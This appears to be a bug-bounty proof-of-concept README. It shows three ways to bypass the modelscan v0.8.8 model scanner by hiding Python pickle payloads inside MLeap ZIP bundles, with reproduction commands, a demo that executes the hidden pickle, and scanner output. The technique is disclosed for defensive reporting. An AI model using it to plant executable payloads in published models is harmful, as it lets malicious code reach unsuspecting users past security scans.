mleap-modelscan-bypass-poc

MLeap modelscan Scanner Bypass — PoC Repository

Security Research | ProtectAI modelscan v0.8.8 | MLeap (.zip/.mleap bundle format)
Submitted to: https://huntr.com/bounties/disclose/models?target=MLeap

---

Summary

modelscan v0.8.8 selects its scanner engine based purely on file extension, not content magic bytes.
A MLeap bundle (ZIP file) containing raw Python pickle bytes inside a .json or .bin entry passes scanning with "No issues found!" — while carrying an executable payload.

This allows an attacker to publish a malicious MLeap model to HuggingFace that passes all ProtectAI scanner checks undetected.

---

Reproduction Steps

# 1. Install modelscan
pip install modelscan==0.8.8

# 2. Clone this repo
git clone https://huggingface.co/hoanghai2110/mleap-modelscan-bypass-poc
cd mleap-modelscan-bypass-poc

# 3. Scan the malicious bundle — EXPECTED: "No issues found!"
modelscan -p payloads/poc_scanner_bypass_hidden_pickle.zip

# 4. Confirm pickle payload IS present inside the "safe" file
python3 -c "
import zipfile
with zipfile.ZipFile('payloads/poc_scanner_bypass_hidden_pickle.zip') as z:
    data = z.read('root/metadata.json')
    print(f'metadata.json first 4 bytes: {data[:4].hex()}')
    print(f'Is pickle (0x80 PROTO opcode): {data[0] == 0x80}')
    print(f'Payload size: {len(data)} bytes')
"
# Output:
# metadata.json first 4 bytes: 8004955c
# Is pickle (0x80 PROTO opcode): True
# Payload size: 103 bytes

# 5. Execute the hidden payload (ACE demonstration)
python3 -c "
import zipfile, pickle
with zipfile.ZipFile('payloads/poc_scanner_bypass_hidden_pickle.zip') as z:
    pickle.loads(z.read('root/metadata.json'))
"
# Result: /tmp/mleap_pwned created

---

PoC Files

---

Root Cause

modelscan routes scanner selection by file extension:

.pkl  → PickleUnsafeOpScan     ✅ (detects pickle)
.pt   → PyTorchUnsafeOpScan    ✅ (detects PyTorch pickle)
.bin  → PyTorchUnsafeOpScan    ⚠️  (WRONG scanner — misses raw pickle)
.json → (skipped entirely)     ❌ (no scanner for JSON)
.mleap→ (no scanner registered)❌ (unknown ext = 0 checks)

A MLeap bundle's internal ZIP entries include metadata.json, model.json, model.bin — all bypassed.

Bypass 1 — .json extension:

• root/metadata.json contains \x80\x04\x95... (pickle PROTO opcode)
• modelscan: skipped (JSON extension → not scanned for pickle)

Bypass 2 — .bin wrong scanner:

• root/scaler_0.node/model.bin contains raw pickle bytes
• modelscan: runs PyTorchUnsafeOpScan (checks for PyTorch-specific class names)
• Raw os.system pickle does NOT use PyTorch classes → not detected

Bypass 3 — GGUF magic prefix:

• File starts with GGUF\x03\x00\x00\x00... (24 bytes) followed by valid ZIP data
• Python's zipfile reads from end-of-central-directory → opens ZIP successfully
• modelscan fails to detect ZIP format (magic bytes don't match PK\x03\x04) → skips all entries

---

Verified Output

$ modelscan -p payloads/poc_scanner_bypass_hidden_pickle.zip

Scanning ...model.bin using modelscan.scanners.PyTorchUnsafeOpScan model scan

--- Summary ---
 No issues found! 🎉
--- Skipped ---
Total skipped: 8

Scanner skipped 8 entries including root/metadata.json (103-byte pickle payload).

---

Generator Script

poc_scanner_bypass.py — generates all bypass bundles from scratch:

python3 poc_scanner_bypass.py
# Outputs 5 PoC bundles in ./payloads/

Payload used: touch /tmp/mleap_pwned (benign demo — replace with any shell command).